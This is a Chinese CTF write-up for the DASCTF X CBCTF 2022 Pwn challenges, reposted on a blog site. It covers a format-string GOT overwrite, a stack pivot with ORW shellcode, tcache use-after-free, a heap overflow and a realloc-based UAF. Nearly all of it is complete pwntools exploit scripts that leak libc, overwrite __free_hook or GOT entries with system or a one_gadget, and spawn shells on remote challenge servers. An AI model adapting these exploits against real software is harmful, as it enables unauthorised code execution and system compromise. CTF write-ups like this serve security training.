当前位置:   article > 正文

DASCTF X CBCTF 2022九月挑战赛-Pwn

cbctf

DASCTF X CBCTF 2022九月挑战赛-Pwn

cyberprinter

buf 后面跟着一个libc的地址,可以leak libc 的基址

下面跟着一个格式串漏洞,puts里面调用的strlen,改那个got为one_gadget 即可(这个题刚好有一个满足的gadget)

exp:

from pwn import*

def fmt_payload(qword_of_rsp_fmt,list_data,wide='$hhn'):
    
    _len = len(list_data)
    arg_start = 5 + qword_of_rsp_fmt + 1
    
    bits = 8

    if wide == '$hhn':
        bits = 8
    if wide == '$hn':
        bits = 16
    if wide == '$n':
        bits = 32
    if wide == '$ln':
        bits = 64
    
    mask = 0x0
    for i in range(bits):
        mask = (mask<<1)|1
    
    parts = []      #(addr,val)
    #save to list
    for i in range(_len):
        size = list_data[i][2]
        value = list_data[i][1]
        addr = list_data[i][0]
        
        c = size//(bits//8)
        if c == 0:
        	c = 1
        
        for j in range(c):
            part_addr = addr + j * (bits//8)
            part_val = (value>>(j * bits)) & mask
            parts.append((part_addr,part_val))

    #sort by val 

    for i in range(len(parts)):
        for j in range(i+1,len(parts)):
            if(parts[j][1]<parts[i][1]):
                tmp = parts[i]
                parts[i] = parts[j]
                parts[j] = tmp

    #generate fmt payload
    payload = b''
    fmt_string_len = 0
    generate_success = False

    while False == generate_success:
        inc_len = False
        payload = b''

        for i in range(len(parts)):
            if i==0:
                if parts[0][1] != 0:
                    payload += b'%%%dc'%(parts[0][1])
            else:
                if (parts[i][1]-parts[i-1][1]) != 0:
                    payload += b'%%%dc'%(parts[i][1] - parts[i-1][1])

            tmp = payload + b'%' + str(i + arg_start + fmt_string_len//8).encode() + wide.encode()
            
            if len(tmp) >= fmt_string_len:
                fmt_string_len += 8
                inc_len = True   
                break
            else:
                payload += b'%' + str(i + arg_start + fmt_string_len//8).encode() + wide.encode()
        if inc_len == False:
            generate_success = True
    payload = payload.ljust(fmt_string_len,b'\x00')
    print(parts)

    for i in range(len(parts)):
         payload += p64(parts[i][0])

    return payload

'''
Usage:
'''

if __name__ == 'main':
    sh = process('./a.out')
    sh.recvuntil(b'gift:')

    stack = int(sh.recvline()[:-1],16)
    ret_addr = stack + 0x1010 + 0x8
    rbp = stack + 0x1010

    payload = fmt_payload(0,[(ret_addr,0x7fff12345678,8),(rbp,0x123412341234,8)],wide='$hn')
    print(payload)

    gdb.attach(sh)
    sleep(1)
    sh.send(payload)
    sh.interactive()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101
from pwn import*
import fmt_payload

#p = process('./pwn')
libc = ELF('/home/sb/Desktop/glibc-all-in-one-master/libs/2.31-0ubuntu9_amd64/libc.so.6')

p = remote('node4.buuoj.cn',28055)

p.send(b'a'*24)
p.recvuntil(b'Hello ' + b'a' * 24)

libc_base = u64(p.recv(6).ljust(8,b'\x00')) - libc.symbols['_IO_2_1_stderr_']

log.success('libc_base: ' + hex(libc_base))

hook = libc_base + 0x7f557fde3f68 - 0x7f557fbc1000
arg = libc_base + 0x7f557fde3968 - 0x7f557fbc1000

log.success('hook:' + hex(hook))
log.success('arg: ' + hex(arg))

got = 0x7f10db90c0a8 - 0x7f10db721000 + libc_base

one_gadget = libc_base + 0xe6af1
payload = fmt_payload.fmt_payload(2,[(got, one_gadget,6)],wide='$hhn')
#payload = fmt_payload.fmt_payload(2,[(hook,libc_base + libc.symbols['system'],6),(arg,u32(b'sh\x00\x00'),4)],wide='$hn')
print(payload)
print(len(payload))

#gdb.attach(p)
#pause()
p.sendlineafter(b'do sth\n',payload)

p.interactive()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34

appetizer

栈溢出,但是只能覆盖返回地址,栈迁移做就行

from pwn import*

#p = process('./pwn')
p = remote('node4.buuoj.cn',26940)
elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')

#libc = ELF('/home/sb/Desktop/glibc-all-in-one-master/libs/2.31-0ubuntu9_amd64/libc-2.31.so')
#gdb.attach(p)
#pause()
p.sendafter(b'Welcome to CBCTF!\n',b'aa' + p64(0x7373656C656D614E))

p.recvuntil(b'Here you are:')
elf_base = int(p.recvline()[:-1],16) - 0x4050
log.success('elf_base:' + hex(elf_base))

pop_rdi = elf_base + 0x00000000000014d3
leave = elf_base + 0x00000000000012d8

read_gadget = elf_base + 0x1428 
fake_stack = elf_base + 0x4050

#p.sendafter(b'wish:\n',p64(fake_stack + 16 * 8) + p64(leave))

rop = b''
rop += p64(0) * 16

rop += p64(fake_stack + 256)               #rbp
rop += p64(pop_rdi)
rop += p64(elf_base + elf.got['puts'])
rop += p64(elf_base + elf.plt['puts'])
rop += p64(read_gadget)

p.sendafter(b'on it\n',rop)

p.sendafter(b'wish:\n',p64(fake_stack + 16 * 8) + p64(leave))

libc_base = u64(p.recvline()[:-1].ljust(8,b'\x00')) - libc.symbols['puts']
log.success('libc_base:' + hex(libc_base))

pop_rsi = libc_base + 0x0000000000027529
pop_rdx = libc_base + 0x000000000011c1e1  #: pop rdx ; pop r12 ; ret

rop = b''

orw = '''
mov rax,0x67616c66
push rax
mov rdi,rsp
xor rsi,rsi

mov rax,2
syscall

mov rdi,rax
mov rsi,rsp
mov rdx,0x30

xor rax,rax
syscall

mov rdi,1
mov rax,1
syscall

'''
context.arch ='amd64'

rop += asm(orw).ljust(160,b'\x00')

rop += p64(pop_rdi)
rop += p64(fake_stack & 0xfffffffffffff000)
rop += p64(pop_rsi)
rop += p64(0x1000)

rop += p64(pop_rdx)
rop += p64(0x7)
rop += p64(0)

rop += p64(libc_base + libc.symbols['mprotect'])

rop += p64(fake_stack)

print(len(rop))

p.send(rop)
print(p.recv())
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87

bar

UAF 可以改fd (加或减去一个偏移)

from pwn import*

p = process('./pwn')
p = remote('node4.buuoj.cn',27713)
libc = ELF('./libc-2.31.so')

choice = lambda x:p.sendlineafter(b'Your choice:',str(x).encode())

# 2,1,0
#0x40,0x50,0x100

def add(size,payload):
    choice(1)
    p.recvuntil(b'Vodka?')
    p.sendline(str(size).encode())
    p.send(payload)
    pass    

def drink(idx,count):
    choice(2)
    p.sendlineafter(b'Which?',str(idx).encode())
    p.sendlineafter(b'How much?',str(count).encode())

    pass

def leak_libc():
    choice(3)
    p.recvuntil(b'icecream!\n')
    libc_base = int(p.recvline()[:-1],16) - libc.symbols['_IO_2_1_stdout_']
    return libc_base

libc_base = leak_libc()
log.success('libc_base:' + hex(libc_base))

hook = libc_base + 0x7f75e103df68 - 0x7f75e0e1b000
arg = libc_base + 0x7f75e103d968 - 0x7f75e0e1b000

log.success('hook:' + hex(hook))
log.success('arg:' + hex(arg))

add(2,b'aaa')
add(2,b'aaa')
add(2,b'aaa')
add(2,b'aaa')

add(1,b'aaa')
add(1,b'aaa')
add(1,b'aaa')
add(1,b'aaa')

##-->tcache bin
#write system->lock
drink(0,64)
drink(1,64)

drink(4,80)
drink(5,80)

#modify fd by drink
drink(1,-400)
add(2,b'aaa')

add(2,p64(hook - 0x10))

add(1,b'aa')

add(1,p64(libc_base+libc.symbols['system']))
drink(11,79)
################
#write /bin/sh
drink(2,64)
drink(3,64)

drink(6,80)
drink(7,80)
##
drink(3,-432)
add(2,b'aaa')
add(2,p64(arg - 0x18))
add(1,b'aa')
add(1,p64(1) + b'/bin/sh\x00')
drink(11,79)

#gdb.attach(p)
p.interactive()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85

ez_note

一开始没看出来,改了下数据类型才看出来,只是个简单的堆溢出

from pwn import*

#p = process('./pwn')
p = remote('node4.buuoj.cn',29789)
libc = ELF('./libc-2.31.so')
#libc = ELF('/home/sb/Desktop/glibc-all-in-one-master/libs/2.31-0ubuntu9_amd64/libc-2.31.so')
choice = lambda x:p.sendlineafter(b'Your choice:',str(x).encode())
def add(size,payload):
    choice(1)
    size = 0x100000000 | size
    p.sendafter(b'Note size:',str(size).encode())
    p.sendafter(b'Note content:',payload)

def free(idx):
    choice(2)
    p.sendlineafter(b'Note ID:',str(idx).encode())

def show(idx):
    choice(3)
    p.sendlineafter(b'Note ID:',str(idx).encode())

##
context.log_level = 'debug'
add(0x80,b'aaaaaa')

for i in range(5):
    add(0x110,b'a')

add(0x90,b'a')
free(0)

payload = b'a' * 0x80 + p64(0) + p64(0x5a1)
add(0x80,payload)

free(1)
add(0x110,b'a') #1
#leak libc
show(2)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x1ebbe0
log.success('libc_base' + hex(libc_base))

##

free(5)
free(4)
add(0x220,b'aaa')

add(0x80,p64(0) + p64(0x121) + p64(libc_base + libc.symbols['__free_hook']))

add(0x110,b'/bin/sh\x00')
add(0x110,p64(libc_base + libc.symbols['system']))

free(7)
p.interactive()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54

cgrasstring

resize实际上和realloc 差不多,这里返回的指针是可能改变的,但是ptrArray里面任然保存的是旧的ptr,UAF

from pwn import*

#p = process('./pwn')
p = remote('node4.buuoj.cn',26012)
libc = ELF('/home/sb/Desktop/glibc-all-in-one-master/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so')
#libc = ELF('./libc-2.27.so')
choice = lambda x:p.sendlineafter(b'choice:',str(x).encode())

def add(size,string):
    choice(1)
    p.sendlineafter(b'size:',str(size).encode())
    p.sendafter(b'content:',string)

def edit(idx,size,string):
    choice(2)
    p.sendlineafter(b'idx',str(idx).encode())
    p.sendlineafter(b'size',str(size).encode())
    p.sendafter(b'content',string)

def show(idx):
    choice(3)
    p.sendlineafter(b'idx',str(idx).encode())

for i in range(10):
    add(0x80,b'/bin/sh')
for i in range(6):
    edit(i,256,b'a')

#edit(6,256,b'a')

edit(6,256,b'\xa0')
show(6)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - (0x7efe5e12dca0 - 0x7efe5dd42000) 

log.success('libc_base:' + hex(libc_base))
edit(5,256,p64(libc_base + libc.symbols['__free_hook']))
add(0x80,p64(libc_base + libc.symbols['system']))

p.interactive()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39

(给的libc怎么和远程的不一样???nmd)

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/2023面试高手/article/detail/176710
推荐阅读
相关标签
  

闽ICP备14008679号